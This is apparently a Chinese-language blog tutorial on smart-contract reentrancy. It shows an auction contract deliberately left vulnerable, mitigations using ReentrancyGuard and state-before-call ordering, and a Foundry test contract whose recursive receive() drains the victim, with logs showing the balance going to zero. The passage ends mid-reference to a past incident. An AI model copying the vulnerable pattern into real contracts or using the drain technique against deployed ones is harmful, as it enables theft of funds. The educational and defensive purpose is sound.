今天來介紹一個經典的合約漏洞:重入攻擊 (Reentrancy)。
我們就以昨天的拍賣合約為例,我將它改成會被重入攻擊的漏洞合約:
// reentrancy!
contract Auction {
address highestBidder;
uint256 highestBid;
mapping(address => uint256) refunds;
function bid() external payable {
require(msg.value > highestBid);
if (highestBidder != address(0)) {
refunds[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
}
function withdrawRefund() external {
uint256 refund = refunds[msg.sender];
(bool success,) = msg.sender.call{value: refund}("");
require(success);
refunds[msg.sender] = 0;
}
}
我所做的更改是將這行「狀態更新」 refunds[msg.sender] = 0;
放到轉帳的「external call」之後,這會造成重入攻擊的破口。
要避免被重入攻擊,有兩個做法:
nonReentrant
modifier。第一個做法很簡單,首先引入套件:
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
繼承 ReentrancyGuard
contract Auction is ReentrancyGuard {
使用 nonReentrant
modifier
function withdrawRefund() external nonReentrant {
之所以推薦第一個做法,是因為如果函式的邏輯很複雜,第二個做法可能因為初心大意而漏掉。
使用套件的作法非常簡單,前提是要先知道哪個函式可能會被重入攻擊,要記得加上 nonReentrant。
接下來介紹重入攻擊的作法。
重入攻擊的破口,就在於 withdrawRefund 先把錢轉出去,然後才更新狀態,將提領者目前可提領的金額設為 0。
function withdrawRefund() external nonReentrant {
uint256 refund = refunds[msg.sender];
(bool success,) = msg.sender.call{value: refund}("");
require(success);
refunds[msg.sender] = 0;
}
攻擊者使用客製化的合約呼叫 bid,讓收款地址是一個合約,然後在合約的 receive 或 fallback 函式中,再去呼叫一次 withdrawRefund,於是就能再提領一次,收到錢後,邏輯又會再呼叫一次 withdrawRefund,直到把目標合約內的錢掏空,而 refunds[msg.sender] = 0;
則是等到錢被掏空後才執行。
以下是 foundry 的測試合約,可以搭配一開始的目標合約,測試重入攻擊
interface IVictim {
function refunds(address) external view returns (uint256);
function bid() external payable;
function withdrawRefund() external;
}
contract AttackTest is Test {
IVictim victim;
function setUp() public {
Auction auction = new Auction();
address alice = address(0xBEEF);
deal(alice, 0.1 ether);
vm.prank(alice);
auction.bid{value: 0.1 ether}();
vm.stopPrank();
victim = IVictim(address(auction));
deal(address(this), 1 ether);
}
uint256 takeAmountEachTime = 0.1 ether + 1;
receive() external payable {
if (address(victim).balance >= takeAmountEachTime) {
victim.withdrawRefund();
}
}
function testAttack() public {
console.log(address(victim).balance, "victim balance before attack");
victim.bid{value: takeAmountEachTime}();
victim.bid{value: takeAmountEachTime + 1}();
victim.withdrawRefund();
console.log(address(victim).balance, "victim balance after attack");
console.log(address(this).balance, "this balance");
}
}
跑測試
forge test --mp test/reentrancy.sol -vvvv
測試結果:
[PASS] testAttack() (gas: 87751)
Logs:
100000000000000000 victim balance before attack
0 victim balance after attack
1100000000000000000 this balance
Traces:
[107651] AttackTest::testAttack()
├─ [0] console::log(100000000000000000 [1e17], "victim balance before attack") [staticcall]
│ └─ ← [Stop]
├─ [32813] Auction::bid{value: 100000000000000001}()
│ └─ ← [Stop]
├─ [23213] Auction::bid{value: 100000000000000002}()
│ └─ ← [Stop]
├─ [24471] Auction::withdrawRefund()
│ ├─ [17087] AttackTest::receive{value: 100000000000000001}()
│ │ ├─ [16131] Auction::withdrawRefund()
│ │ │ ├─ [8747] AttackTest::receive{value: 100000000000000001}()
│ │ │ │ ├─ [7791] Auction::withdrawRefund()
│ │ │ │ │ ├─ [407] AttackTest::receive{value: 100000000000000001}()
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] console::log(0, "victim balance after attack") [staticcall]
│ └─ ← [Stop]
├─ [0] console::log(1100000000000000000 [1.1e18], "this balance") [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
在 ETHTaipei x TEM #5 探討 Web3 安全:從攻擊事件追蹤到重現 Meetup - 常見合約漏洞三:Reentrancy 的分享中,提供一個在 2024/2/12 發生的災情: